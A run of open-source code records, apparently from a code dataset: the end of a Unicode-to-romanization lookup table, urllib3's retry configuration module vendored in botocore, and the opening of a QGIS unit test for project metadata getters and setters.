'','','','','hai ','peng ','','','','','','','','','','bie ',
'','','','','','','','','','','','fan ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','wan ','','','','','','','','wen ','','','',
'zhe ','','','','ban ','bu ','','','','','','ge ','','','liu ','',
'','','','','','','Giong ','','','','hu ','','','','','',
'fu ','','Sai ','qu ','','','yu ','','','jiu ','','shu ','','','','fu ',
'','','','','','','','','','','xu ','','','','','',
'','Ngon ','','','','','','','','','','','fu ','bu ','','',
'','','','','','','','','','zhe ','','','','','tu ','',
'','lu ','','','','','','','fu ','','','','','','','',
],
'x299':[
'','','','','','','','','','','xian ,jian','kun ','','','','',
'','','','','','','','','','cheng ','','','','','tan ','',
'xie ','','','duan ','','','','','','e ','','','','','','',
'','','','','','','','','','','yu ','','','','','',
'','','','','','','','zhan ','','','','Au6','qia ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','yu ','','',
'','','','','','','','','','','','','','tu ','','zu ',
'','','','','','','','','','bie ','','','','','','',
'','','','','','','','','','','','','','','','',
'bang ','yu ','Jyu ','','','','','','','','','','','','','',
'','','','','','','','','','xian ','meng ','','','','','',
'','','','','','','','cai ','du ','','','','','','','jue ',
'','','ju ','','','','','','qu ','','','','','','','',
'','jue ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x29a':[
'','','','','','','','','','','','','','','','',
'','','','','','','','yu ','','yu ','','','ba ','','','',
'ya ','','','','','','','','','fan ','','','','Que ','','',
'','','ma ','','','','','','','','','','Kheo ','','','',
'','','','','','','','Song ','','','','','','Peng ','','',
'','','','','','','Song ','','','','','','','','','',
'zu ','leng ','','','','','','dan ','','','Xuong ','Xuong ','','','du ','bian ',
'','qia ','he ','','','','yan ','','','','','teng ','','','','Hom ',
'','','','hai ','','','','','','xu ','','','','','','',
'','','','','','','','Jue ','','','','pu ','','','Sun ','',
'','','','','','','','','','','','','','','','',
'','','','','yan ','So ','','','','','','','','Cut ','','',
'kai ','mao ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','sao ','','','','','','','','','',
'','','','','ju ','','','','','cheng ','','','','','','',
],
'x29b':[
'','','','','','','','','','','','','','','Zam ','',
'','Chom ','','','','','','','','','','','ju ','','','zha ',
'','','','','','','','','','','','','','','','',
'','dao ','','','','','','','','','','','','','','',
'','','','','','','','','','','ju ','','','','','',
'','','','','','','','','','','','','Xui ','','','dao ',
'','','an ','','','han ','','','','','','','','','','',
'','','','','','Quan ','Rau ','','','','fu ','','','','','',
'','qia ','','','','na ','','','','','','','','','','',
'','','','','Quan ','','','','','','','','','ya ','','',
'','','','','','','','','','','','','','Ria ','','',
'','','','','','','','','','','','','','','','',
'','Rau ','','','zun ','','nao ','','','','','','','','cheng ','',
'','','','','','','','','jiao ','','','yao ','','','can ','',
'','','','','','','','','','','','','','Ban ','','Xoam ',
'','pu ','zhuang ','','','','','','','','','','','la ','','',
],
'x29c':[
'','','','zhan ','','','','','Nheo ','','','','','bian ','','',
'','','','','','','','','','','','','','','','',
'','','','','ju ','','','','jue ','','yu ','','','','','hu ',
'','','','xie ','er ','','','','','','','','','','','',
'','','','','','','','','','','er ,xian','','yu ','hu ','','',
'','','','','','','','','','ku ','','','','','jiao ','',
'','','','','','','','','ru ','','','','','','','',
'','yu ','','','','','','','','','','','','','','',
'','','','','','','','','','','hao ','','','niu ','','hua ',
'','','','','','','','','','','','','','','','',
'zhu ','Coi ','','','','Troi ','','','','','','','zhu ','','','',
'','','zu ','','','','','','','','','','','','yu ','',
'','','','','','','lai ','','','','Ranh ','','wu ','','fu ','zhuan ',
'','','su ','','yao ','','','','','','','','','','','',
'','','yan ','','','zhu ','','','','','','','','','','',
'','','','Troi ','','ju ','','','','','','','','','','',
],
'x29d':[
'','','','','','','','shai ','','yun ','','','','','','',
'','','jiang ','','','','','','ju ','','Troi ','','','teng ','wei ','',
'','gu ','','','liao ','','','','','','','','','','','',
'','','meng ','cha ','','','','','','qu ','','lei ','','','','',
'','','','Troi ','','qu ','','','','','','Gyo ','','qiu ','','hua ',
'','','','','','','','','','','du ','','','Chai ','','',
'','','','','','','mu ','','','','','','hu ','','','',
'','','','','','','','','','fu ','','','','Tom ','','',
'','','zhu ','','zhu ','Ci ','','','','Pou ','','','','','','',
'','','','','','','mu ','','','','','','','','','Buop ',
'','meng ','','','','','guai ','jiu ','','mu ','','','Si ','wu ','','ru ',
'','zha ','','','','','','','','','','','','','','',
'','','xie ','','jiang ','','','Hung ','','','Thu ','','','','','',
'ju ','','','','','Luon ','bu ','','','','','','','','','',
'','','','','','','','','','','','','','jiang ','','',
'xun ','','','','','','Mang ','','','','','qia ','','','','',
],
'x29e':[
'','','','tu ','hua ','','','','','','','','','','','',
'ru ','','','','','','','','','','','','','','','',
'','','','','','','','','Yi ','','','','','','Bong ','Chuoi ',
'Go ','','','','','','','','Thia ','','','','','','ye ','',
'','','','','hai ','','','','','','','','','','an ','ba ',
'','han ','','','','','','','','','','','','','','nai ',
'','','','','Thu ','','','','','Nau ','','Tep ','','Chay ','Mu ','Tuoi ',
'','chu ','','','','','','','','','ge ','','han ','','na ','ge ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','Bon ','','Trau ','','','','','Bong ','','Bon ','xie ','','','','Soc ',
'yu ,wu','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Mam ','','Sop ','Dua ','','Tram ','','bu ','jian ','','wu ','Tram ','','zhuan ','','Vay ',
'','','','','','','','','','','','','','','','',
'','','','','','die ','','','','','Vay ','Leo ','','','','',
],
'x29f':[
'Vay ','','','','','','','','Ao ','','','','','','','',
'','','','','','','','','','ge ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','xu ','','','Sau ','Lui ','','','','wei ','',
'','','','','','','Ruoc ','','','','','','','','','',
'','','','','Sau ','Luon ','','','','qu ','','','','','','',
'','','','','','','','ba ','Nheo ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','han ,yan','','',
'','bao ','','','','','','xun ','','','','','','','','',
'','','','','','','jie ','','','','','hu ','','','','fu ',
'','','mao ','','','','','','','','','','','','','',
'','','','bao ','','','','','Mao ','','Khuou ','','','ju ','Caa ','qu ',
'','','','','','qu ','','','Khuou ','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2a0':[
'','','','','Chim ','','','','','','','','','','','',
'','','Shi ','','','','','','jiang ','','','','','','','',
'xun ','','','ju ','','','','','','','','','','','','',
'','','','','','','','','','','fu ','','','','jie ','',
'yu ','','','','Ket ','Sac ','Hau ','Song ','zhuang ','','','cheng ','','jie ','','chen ',
'','','','','','','qu ','','','','','','','','','',
'jue ','yan ','','','','ju ','','','','','','','','','xiu ','',
'','','','','Coc ','Coc ','','','','','','','','su ','','',
'','','','','','','','','','yu ','','fu ','ta ','','','',
'','','hu ','','','','','','','','','','mei ','','','',
'','','','','','','','','','','','','','','','',
'','','','Cun ','','yu ','','','','','','','','pen ','fu ','',
'','','liu ','','','','','','jie ','','','','','yu ','yu ','Mei ',
'','mao ','','fu ','','','','','','','','jian ','','','','',
'','','','','','','','','','','','','','','','',
'','Hau ','','','Ga ','','','','','','','','','','','Ge ',
],
'x2a1':[
'','','xia ','','','Set ','','','','','qu ','','','','ge ','',
'','su ','','','','','','','','','','','','','','',
'','','','','','Cut ','','','','','','','','','hu ,gu','',
'','','','mai ','','','','','','','','','','','','',
'','','','','su ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','Cuoc ','Choi ','Ri ','Sam ','','','','Tu ','','',
'','','','','','','','','jie ','','','','','','','',
'','','qu ','','','','','','','','','xie ','','','','',
'','','','','','','','','','','','','','','','',
'fu ','','','','','Khuou ','Tu ','','','','','','','','','',
'ya ','liu ','','','','','can ','64272.110,chu ','','','','','','','','jian ',
'','','','','','','chu ,du','','ai ','','','Cui ','','','Quam ','',
'','xun ','','','','','','','','','','','','yu ','','',
'','','','','','','','','','Ngan ','','Cui ','','cai ','','liu ',
'','','jie ','','','','','','','la ','','','','','','',
],
'x2a2':[
'','','','','','','','','lai ','','he ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','jue ','','','','guan ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','Muoi ','','tan ','','En ','','','','','','kan ',
'','bian ','','','Muoi ','','','','','','','','','','','gan ',
'','','','','','Mam ','','gan ,tan','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','xiao ','','zhu ','','yu ','','','','',
'','jian ','','','','','','','','yu ','','','','zu ','','',
'nuan ','','','','','','','','','','','','','su ','','',
'','pu ','','','','','','','','','','','','','yu ','',
'','','','','','','','','','','','','','','','',
],
'x2a3':[
'','','','','','na ','qu ','','','','','tun ','','','','',
'','','','ku ','su ','','','','','','','','','','','ze ',
'','','','ge ','','','','jie ','','','tiao ','','','','','',
'','','','','','','shu ','','','','','','','hun ','','nie ',
'','jun ','hu ','','lu ','','','','chao ','','','','','','','fu ',
'','','','','','','','','','','','','','yun ','','',
'','','','','','','','xuan ','','','','','','','','',
'','','','','','','shan ','','Qu ','du ','','sao ','','','','kuang ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','liu ','','','','','','','','','','mei ','','',
'','','','','tun ','kang ','tun ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','heng ','','','','','','Huang ','','','','','','',
'','','','','','','','','','','kuang ','piao ','','','','',
'','','','hu ','','','bao ','','','','','hu ','','','','',
],
'x2a4':[
'Naa ','','','','','','bie ','','','','','','','','','',
'','','','','','','','','','','','','','dai ,tai','du ','',
'','','','','','tai ','','shu ','','','','','','','su ','',
'','','','','','','','','','','','','','','','',
'','','cha ','','lu ','','yu ','','yan ','','qiao ','','yu ','','','tu ',
'','Ngam ','tun ','','','','','','','','','','','yu ','','',
'','','','','','','','die ','cha ','dian ','','','','','','',
'','','','','','','','wai ','','','','','','zhai ','','',
'','','','','','','','','','','','','','','','lu ',
'','','','','','','','Tham ','','','','','ma ','','','',
'','','','','','','','','','','mai ','','Nung ','','','',
'','','','','','','','','','','','','','','dan ','teng ',
'','','','','','','','','','','yu ','','','','','',
'','','','','','','','','','','','','','','','',
'','cu ','','','','','','','','','','Sam ','','','','',
'cu ','','','','','','','','','','','','','','','',
],
'x2a5':[
'','','Ding ','','','','','','','','','','','peng ','','',
'','','','','','','','','','','','','','','','',
'Trong ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','hu ','','','','','','',
'','','','','','','','','','','','','','cu ','jun ','',
'','','','','','','','','er ','','','','','ai ','hu ','',
'','hu ','','','','','','','','','','','','','','',
'','','','','jiao ','','','','pu ','','','jie ','lu ','','','',
'yao ,ya','','','','','','','','','Hou ','','qiu ','jue ','','','',
'','','','','','','','','','xu ','','','','Ngui ','','',
'','','','','','','su ','liao ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','pa ','','','','','','','','','na ','','',
'','','','','','','zhan ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2a6':[
'','Kap6','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','zu ','','','zhan ','','','','','',
'','','Ji ','','','Rang ','','','','he ','qia ','','','','','',
'','','','','','','','','hu ','','yan ','','','','','',
'','','','','','','','','','','','Nak ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','jue ','','','','','','','','','','',
'','','','','','','','','','','Trong ','','','','','',
'','','','','','zhe ','','','','Gwi ','','','gan ','','','cu ',
'','','','','','','','','','zhu ','','','','','','',
'xiao ','','','','','Rua ','','Rua ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2a7':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2a8':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Bai ','','','','','','','Zhan ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Luan ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2aa':[
'','','','','','','','','','','Song ','','','','','',
'','','','','','','','Jue ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','Yong ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2ae':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','Nu ','','','','','','',
'','','','','','','','','','','','','','','','',
'Cong ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2af':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','Xian ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2b0':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','Li ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Fei ','','','','','','','',
'','','','','','','','','','Su ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','Kou ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2b1':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Chi ','','','','','','','',
'','','','','','','','','Xun ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2b2':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Qia ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Gong ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2b3':[
'Ji ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Luo ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','Yi ','','','','','','',
'','','Nao ','','','','','','','','','','','','','',
'Xi ','','Xiao ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','Jiao ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2b4':[
'','','','','Yue ','','Kuai ','','','Ling ','','','','','','',
'Ni ','','','Bu ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','Han ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','Fu ','','Cong ','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2b5':[
'','','','','','','','','','','','','','','Jue ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Duo ','','','','','','','Su ','','','','','','','Huang ','',
'','','','','','','','','','','','','','','','',
],
'x2b6':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Han ','Ai ','','','','Ti ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Xu ','Gong ','','','','','','',
'','','Ping ','','Hui ','Shi ','','','','Pu ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','Zhi ','','','Jue ','',
'','','Ning ','','','','','','','','','','','','','',
'','','','','','','Chi ','','Ti ','','','','','','','',
],
'x2f8':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Gai ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x2f9':[
'','','','','','','','Baan6','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
]
}
| gpl-3.0 |
lordmuffin/aws-cfn-plex | functions/credstash/botocore/vendored/requests/packages/urllib3/util/retry.py | 699 | 9924 | import time
import logging
from ..exceptions import (
ConnectTimeoutError,
MaxRetryError,
ProtocolError,
ReadTimeoutError,
ResponseError,
)
from ..packages import six
log = logging.getLogger(__name__)
class Retry(object):
""" Retry configuration.
Each retry attempt will create a new Retry object with updated values, so
they can be safely reused.
Retries can be defined as a default for a pool::
retries = Retry(connect=5, read=2, redirect=5)
http = PoolManager(retries=retries)
response = http.request('GET', 'http://example.com/')
Or per-request (which overrides the default for the pool)::
response = http.request('GET', 'http://example.com/', retries=Retry(10))
Retries can be disabled by passing ``False``::
response = http.request('GET', 'http://example.com/', retries=False)
Errors will be wrapped in :class:`~urllib3.exceptions.MaxRetryError` unless
retries are disabled, in which case the causing exception will be raised.
:param int total:
Total number of retries to allow. Takes precedence over other counts.
Set to ``None`` to remove this constraint and fall back on other
counts. It's a good idea to set this to some sensibly-high value to
account for unexpected edge cases and avoid infinite retry loops.
Set to ``0`` to fail on the first retry.
Set to ``False`` to disable and imply ``raise_on_redirect=False``.
:param int connect:
How many connection-related errors to retry on.
These are errors raised before the request is sent to the remote server,
which we assume has not triggered the server to process the request.
Set to ``0`` to fail on the first retry of this type.
:param int read:
How many times to retry on read errors.
These errors are raised after the request was sent to the server, so the
request may have side-effects.
Set to ``0`` to fail on the first retry of this type.
:param int redirect:
How many redirects to perform. Limit this to avoid infinite redirect
loops.
A redirect is a HTTP response with a status code 301, 302, 303, 307 or
308.
Set to ``0`` to fail on the first retry of this type.
Set to ``False`` to disable and imply ``raise_on_redirect=False``.
:param iterable method_whitelist:
Set of uppercased HTTP method verbs that we should retry on.
By default, we only retry on methods which are considered to be
indempotent (multiple requests with the same parameters end with the
same state). See :attr:`Retry.DEFAULT_METHOD_WHITELIST`.
:param iterable status_forcelist:
A set of HTTP status codes that we should force a retry on.
By default, this is disabled with ``None``.
:param float backoff_factor:
A backoff factor to apply between attempts. urllib3 will sleep for::
{backoff factor} * (2 ^ ({number of total retries} - 1))
seconds. If the backoff_factor is 0.1, then :func:`.sleep` will sleep
for [0.1s, 0.2s, 0.4s, ...] between retries. It will never be longer
than :attr:`Retry.MAX_BACKOFF`.
By default, backoff is disabled (set to 0).
:param bool raise_on_redirect: Whether, if the number of redirects is
exhausted, to raise a MaxRetryError, or to return a response with a
response code in the 3xx range.
"""
DEFAULT_METHOD_WHITELIST = frozenset([
'HEAD', 'GET', 'PUT', 'DELETE', 'OPTIONS', 'TRACE'])
#: Maximum backoff time.
BACKOFF_MAX = 120
def __init__(self, total=10, connect=None, read=None, redirect=None,
method_whitelist=DEFAULT_METHOD_WHITELIST, status_forcelist=None,
backoff_factor=0, raise_on_redirect=True, _observed_errors=0):
self.total = total
self.connect = connect
self.read = read
if redirect is False or total is False:
redirect = 0
raise_on_redirect = False
self.redirect = redirect
self.status_forcelist = status_forcelist or set()
self.method_whitelist = method_whitelist
self.backoff_factor = backoff_factor
self.raise_on_redirect = raise_on_redirect
self._observed_errors = _observed_errors # TODO: use .history instead?
def new(self, **kw):
params = dict(
total=self.total,
connect=self.connect, read=self.read, redirect=self.redirect,
method_whitelist=self.method_whitelist,
status_forcelist=self.status_forcelist,
backoff_factor=self.backoff_factor,
raise_on_redirect=self.raise_on_redirect,
_observed_errors=self._observed_errors,
)
params.update(kw)
return type(self)(**params)
@classmethod
def from_int(cls, retries, redirect=True, default=None):
""" Backwards-compatibility for the old retries format."""
if retries is None:
retries = default if default is not None else cls.DEFAULT
if isinstance(retries, Retry):
return retries
redirect = bool(redirect) and None
new_retries = cls(retries, redirect=redirect)
log.debug("Converted retries value: %r -> %r" % (retries, new_retries))
return new_retries
def get_backoff_time(self):
""" Formula for computing the current backoff
:rtype: float
"""
if self._observed_errors <= 1:
return 0
backoff_value = self.backoff_factor * (2 ** (self._observed_errors - 1))
return min(self.BACKOFF_MAX, backoff_value)
def sleep(self):
""" Sleep between retry attempts using an exponential backoff.
By default, the backoff factor is 0 and this method will return
immediately.
"""
backoff = self.get_backoff_time()
if backoff <= 0:
return
time.sleep(backoff)
def _is_connection_error(self, err):
""" Errors when we're fairly sure that the server did not receive the
request, so it should be safe to retry.
"""
return isinstance(err, ConnectTimeoutError)
def _is_read_error(self, err):
""" Errors that occur after the request has been started, so we should
assume that the server began processing it.
"""
return isinstance(err, (ReadTimeoutError, ProtocolError))
def is_forced_retry(self, method, status_code):
""" Is this method/status code retryable? (Based on method/codes whitelists)
"""
if self.method_whitelist and method.upper() not in self.method_whitelist:
return False
return self.status_forcelist and status_code in self.status_forcelist
def is_exhausted(self):
""" Are we out of retries? """
retry_counts = (self.total, self.connect, self.read, self.redirect)
retry_counts = list(filter(None, retry_counts))
if not retry_counts:
return False
return min(retry_counts) < 0
def increment(self, method=None, url=None, response=None, error=None, _pool=None, _stacktrace=None):
""" Return a new Retry object with incremented retry counters.
:param response: A response object, or None, if the server did not
return a response.
:type response: :class:`~urllib3.response.HTTPResponse`
:param Exception error: An error encountered during the request, or
None if the response was received successfully.
:return: A new ``Retry`` object.
"""
if self.total is False and error:
# Disabled, indicate to re-raise the error.
raise six.reraise(type(error), error, _stacktrace)
total = self.total
if total is not None:
total -= 1
_observed_errors = self._observed_errors
connect = self.connect
read = self.read
redirect = self.redirect
cause = 'unknown'
if error and self._is_connection_error(error):
# Connect retry?
if connect is False:
raise six.reraise(type(error), error, _stacktrace)
elif connect is not None:
connect -= 1
_observed_errors += 1
elif error and self._is_read_error(error):
# Read retry?
if read is False:
raise six.reraise(type(error), error, _stacktrace)
elif read is not None:
read -= 1
_observed_errors += 1
elif response and response.get_redirect_location():
# Redirect retry?
if redirect is not None:
redirect -= 1
cause = 'too many redirects'
else:
# Incrementing because of a server error like a 500 in
# status_forcelist and a the given method is in the whitelist
_observed_errors += 1
cause = ResponseError.GENERIC_ERROR
if response and response.status:
cause = ResponseError.SPECIFIC_ERROR.format(
status_code=response.status)
new_retry = self.new(
total=total,
connect=connect, read=read, redirect=redirect,
_observed_errors=_observed_errors)
if new_retry.is_exhausted():
raise MaxRetryError(_pool, url, error or ResponseError(cause))
log.debug("Incremented Retry for (url='%s'): %r" % (url, new_retry))
return new_retry
def __repr__(self):
return ('{cls.__name__}(total={self.total}, connect={self.connect}, '
'read={self.read}, redirect={self.redirect})').format(
cls=type(self), self=self)
# For backwards compatibility (equivalent to pre-v1.9):
Retry.DEFAULT = Retry(3)
| mit |
jdugge/QGIS | tests/src/python/test_qgsprojectmetadata.py | 33 | 12263 | # -*- coding: utf-8 -*-
"""QGIS Unit tests for QgsProjectMetadata.
Run with: ctest -V -R PyQgsProjectMetadata
.. note:: This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
"""
__author__ = 'Nyall Dawson'
__date__ = '19/03/2018'
__copyright__ = 'Copyright 2018, The QGIS Project'
import qgis # NOQA
from qgis.PyQt.QtXml import QDomDocument
from qgis.core import (QgsProjectMetadata,
QgsAbstractMetadataBase,
QgsProject,
QgsNativeProjectMetadataValidator)
from qgis.PyQt.QtCore import (QDate,
QTime,
QDateTime)
from qgis.testing import start_app, unittest
from qgis.PyQt.QtTest import QSignalSpy
start_app()
class TestQgsProjectMetadata(unittest.TestCase):
def testGettersSetters(self):
m = QgsProjectMetadata()
m.setIdentifier('identifier')
self.assertEqual(m.identifier(), 'identifier')
m.setParentIdentifier('parent identifier')
self.assertEqual(m.parentIdentifier(), 'parent identifier')
m.setLanguage('en-us')
self.assertEqual(m.language(), 'en-us')
m.setType('type')
self.assertEqual(m.type(), 'type')
m.setTitle('title')
self.assertEqual(m.title(), 'title')
m.setCategories(['category'])
self.assertEqual(m.categories(), ['category'])
m.setAbstract('abstract')
self.assertEqual(m.abstract(), 'abstract')
m.setHistory(['loaded into QGIS'])
self.assertEqual(m.history(), ['loaded into QGIS'])
m.setHistory(['accidentally deleted some features'])
self.assertEqual(m.history(), ['accidentally deleted some features'])
m.addHistoryItem('panicked and deleted more')
self.assertEqual(m.history(), ['accidentally deleted some features', 'panicked and deleted more'])
m.setAuthor('my author')
self.assertEqual(m.author(), 'my author')
m.setCreationDateTime(QDateTime(QDate(2001, 12, 17), QTime(9, 30, 47)))
self.assertEqual(m.creationDateTime(), QDateTime(QDate(2001, 12, 17), QTime(9, 30, 47)))
def createTestMetadata(self):
"""
Returns a standard metadata which can be tested with checkExpectedMetadata
"""
m = QgsProjectMetadata()
m.setIdentifier('1234')
m.setParentIdentifier('xyz')
m.setLanguage('en-CA')
m.setType('project')
m.setTitle('roads')
m.setAbstract('my roads')
m.setHistory(['history a', 'history b'])
m.setKeywords({
'GEMET': ['kw1', 'kw2'],
'gmd:topicCategory': ['natural'],
})
c = QgsAbstractMetadataBase.Contact()
c.name = 'John Smith'
c.organization = 'ACME'
c.position = 'staff'
c.voice = '1500 515 555'
c.fax = 'xx.xxx.xxx.xxxx'
c.email = 'foo@example.org'
c.role = 'pointOfContact'
address = QgsAbstractMetadataBase.Address()
